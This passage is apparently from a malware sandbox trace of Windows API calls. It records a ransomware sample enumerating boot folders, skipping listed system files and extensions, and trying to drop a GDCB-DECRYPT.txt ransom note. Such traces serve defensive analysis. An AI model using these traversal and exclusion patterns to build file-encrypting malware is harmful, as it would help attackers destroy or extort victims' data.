(lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.218] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.219] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.219] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.219] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.219] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.219] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\memtest.exe.mui") returned="C:\\Boot\\fi-FI\\memtest.exe.mui" [0135.219] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.219] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29 [0135.219] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29 [0135.219] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.219] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.219] FindClose (in: hFindFile=0x2c79c0 | out: hFindFile=0x2c79c0) returned 1 [0135.219] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.219] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0135.219] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0135.219] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="Fonts" | out: lpString1="C:\\Boot\\Fonts") returned="C:\\Boot\\Fonts" [0135.219] lstrcatW (in: lpString1="C:\\Boot\\Fonts", lpString2="\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0135.219] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.219] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.219] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.219] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.219] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.220] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.220] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0135.220] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="*" | out: lpString1="C:\\Boot\\Fonts\\*") returned="C:\\Boot\\Fonts\\*" [0135.220] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7500 [0135.221] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.221] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.221] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.221] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.221] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.221] lstrcmpW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0135.221] lstrcmpW (lpString1="chs_boot.ttf", lpString2="..") returned 1 [0135.221] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\chs_boot.ttf") returned="C:\\Boot\\Fonts\\chs_boot.ttf" [0135.221] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0135.221] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.221] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.221] lstrcmpW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0135.221] lstrcmpW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0135.221] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\cht_boot.ttf") returned="C:\\Boot\\Fonts\\cht_boot.ttf" [0135.221] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0135.221] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.221] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.221] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.221] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.221] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt" [0135.221] lstrlenW (lpString="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0135.221] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.221] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.221] lstrcmpW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0135.221] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0135.221] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\jpn_boot.ttf") returned="C:\\Boot\\Fonts\\jpn_boot.ttf" [0135.221] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0135.221] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.221] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.221] lstrcmpW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0135.221] lstrcmpW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0135.221] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\kor_boot.ttf") returned="C:\\Boot\\Fonts\\kor_boot.ttf" [0135.221] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0135.221] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.221] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.221] lstrcmpW (lpString1="malgunn_boot.ttf", lpString2=".") returned 1 [0135.221] lstrcmpW (lpString1="malgunn_boot.ttf", lpString2="..") returned 1 [0135.221] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="malgunn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned="C:\\Boot\\Fonts\\malgunn_boot.ttf" [0135.221] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0135.222] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.222] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.222] lstrcmpW (lpString1="malgun_boot.ttf", lpString2=".") returned 1 [0135.222] lstrcmpW (lpString1="malgun_boot.ttf", lpString2="..") returned 1 [0135.222] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="malgun_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\malgun_boot.ttf") returned="C:\\Boot\\Fonts\\malgun_boot.ttf" [0135.222] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0135.222] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.222] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.222] lstrcmpW (lpString1="meiryon_boot.ttf", lpString2=".") returned 1 [0135.222] lstrcmpW (lpString1="meiryon_boot.ttf", lpString2="..") returned 1 [0135.222] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="meiryon_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned="C:\\Boot\\Fonts\\meiryon_boot.ttf" [0135.222] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0135.222] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.222] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.222] lstrcmpW (lpString1="meiryo_boot.ttf", lpString2=".") returned 1 [0135.222] lstrcmpW (lpString1="meiryo_boot.ttf", lpString2="..") returned 1 [0135.222] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="meiryo_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned="C:\\Boot\\Fonts\\meiryo_boot.ttf" [0135.222] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0135.222] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.222] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.222] lstrcmpW (lpString1="msjhn_boot.ttf", lpString2=".") returned 1 [0135.222] lstrcmpW (lpString1="msjhn_boot.ttf", lpString2="..") returned 1 [0135.222] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msjhn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned="C:\\Boot\\Fonts\\msjhn_boot.ttf" [0135.222] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0135.222] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.222] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.222] lstrcmpW (lpString1="msjh_boot.ttf", lpString2=".") returned 1 [0135.222] lstrcmpW (lpString1="msjh_boot.ttf", lpString2="..") returned 1 [0135.222] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msjh_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msjh_boot.ttf") returned="C:\\Boot\\Fonts\\msjh_boot.ttf" [0135.222] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0135.222] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.222] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.222] lstrcmpW (lpString1="msyhn_boot.ttf", lpString2=".") returned 1 [0135.222] lstrcmpW (lpString1="msyhn_boot.ttf", lpString2="..") returned 1 [0135.222] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msyhn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned="C:\\Boot\\Fonts\\msyhn_boot.ttf" [0135.222] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0135.222] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.222] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.222] lstrcmpW (lpString1="msyh_boot.ttf", lpString2=".") returned 1 [0135.222] lstrcmpW (lpString1="msyh_boot.ttf", lpString2="..") returned 1 [0135.222] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msyh_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msyh_boot.ttf") returned="C:\\Boot\\Fonts\\msyh_boot.ttf" [0135.222] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0135.222] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.222] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.222] lstrcmpW (lpString1="segmono_boot.ttf", lpString2=".") returned 1 [0135.222] lstrcmpW (lpString1="segmono_boot.ttf", lpString2="..") returned 1 [0135.222] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segmono_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segmono_boot.ttf") returned="C:\\Boot\\Fonts\\segmono_boot.ttf" [0135.222] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0135.222] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.222] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.222] lstrcmpW (lpString1="segoen_slboot.ttf", lpString2=".") returned 1 [0135.222] lstrcmpW (lpString1="segoen_slboot.ttf", lpString2="..") returned 1 [0135.222] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segoen_slboot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned="C:\\Boot\\Fonts\\segoen_slboot.ttf" [0135.222] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0135.222] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.222] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.222] lstrcmpW (lpString1="segoe_slboot.ttf", lpString2=".") returned 1 [0135.222] lstrcmpW (lpString1="segoe_slboot.ttf", lpString2="..") returned 1 [0135.222] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segoe_slboot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned="C:\\Boot\\Fonts\\segoe_slboot.ttf" [0135.223] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0135.223] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.223] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.223] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0135.223] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0135.223] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned="C:\\Boot\\Fonts\\wgl4_boot.ttf" [0135.223] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0135.223] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0135.223] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.223] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.223] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.223] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\Fonts\\\\GDCB-DECRYPT.txt") returned 31 [0135.223] CreateFileW (lpFileName="C:\\Boot\\Fonts\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\fonts\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.225] GetLastError () returned 0x50 [0135.225] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.226] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0135.226] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="*" | out: lpString1="C:\\Boot\\Fonts\\*") returned="C:\\Boot\\Fonts\\*" [0135.226] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.226] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.226] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.226] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.226] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.226] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.226] lstrcmpW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0135.226] lstrcmpW (lpString1="chs_boot.ttf", lpString2="..") returned 1 [0135.226] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\chs_boot.ttf") returned="C:\\Boot\\Fonts\\chs_boot.ttf" [0135.226] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.226] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0135.226] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0135.226] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.227] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.227] lstrcmpW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0135.227] lstrcmpW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0135.227] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\cht_boot.ttf") returned="C:\\Boot\\Fonts\\cht_boot.ttf" [0135.227] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.227] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0135.227] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0135.227] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.227] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.227] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.227] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.227] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt" [0135.227] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.227] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0135.227] lstrlenW (lpString="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0135.227] lstrlenW (lpString="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0135.227] lstrlenW (lpString="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0135.227] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.227] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.227] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.227] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.227] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.227] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.227] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.227] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.227] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.227] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.228] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.228] lstrcmpW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0135.228] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0135.228] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\jpn_boot.ttf") returned="C:\\Boot\\Fonts\\jpn_boot.ttf" [0135.228] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.228] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0135.228] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0135.228] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.228] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.228] lstrcmpW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0135.228] lstrcmpW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0135.228] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\kor_boot.ttf") returned="C:\\Boot\\Fonts\\kor_boot.ttf" [0135.228] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.228] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0135.228] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0135.228] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.228] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.228] lstrcmpW (lpString1="malgunn_boot.ttf", lpString2=".") returned 1 [0135.228] lstrcmpW (lpString1="malgunn_boot.ttf", lpString2="..") returned 1 [0135.228] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="malgunn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned="C:\\Boot\\Fonts\\malgunn_boot.ttf" [0135.228] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.229] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0135.229] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0135.229] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.229] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.229] lstrcmpW (lpString1="malgun_boot.ttf", lpString2=".") returned 1 [0135.229] lstrcmpW (lpString1="malgun_boot.ttf", lpString2="..") returned 1 [0135.229] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="malgun_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\malgun_boot.ttf") returned="C:\\Boot\\Fonts\\malgun_boot.ttf" [0135.229] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.229] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0135.229] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0135.229] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.229] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.229] lstrcmpW (lpString1="meiryon_boot.ttf", lpString2=".") returned 1 [0135.229] lstrcmpW (lpString1="meiryon_boot.ttf", lpString2="..") returned 1 [0135.229] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="meiryon_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned="C:\\Boot\\Fonts\\meiryon_boot.ttf" [0135.229] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.229] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0135.230] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0135.230] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.230] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.230] lstrcmpW (lpString1="meiryo_boot.ttf", lpString2=".") returned 1 [0135.230] lstrcmpW (lpString1="meiryo_boot.ttf", lpString2="..") returned 1 [0135.230] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="meiryo_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned="C:\\Boot\\Fonts\\meiryo_boot.ttf" [0135.230] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.230] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0135.230] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0135.230] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.230] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.230] lstrcmpW (lpString1="msjhn_boot.ttf", lpString2=".") returned 1 [0135.230] lstrcmpW (lpString1="msjhn_boot.ttf", lpString2="..") returned 1 [0135.230] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msjhn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned="C:\\Boot\\Fonts\\msjhn_boot.ttf" [0135.230] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.230] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0135.230] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0135.230] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.231] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.231] lstrcmpW (lpString1="msjh_boot.ttf", lpString2=".") returned 1 [0135.231] lstrcmpW (lpString1="msjh_boot.ttf", lpString2="..") returned 1 [0135.231] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msjh_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msjh_boot.ttf") returned="C:\\Boot\\Fonts\\msjh_boot.ttf" [0135.231] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.231] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0135.231] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0135.231] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.231] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 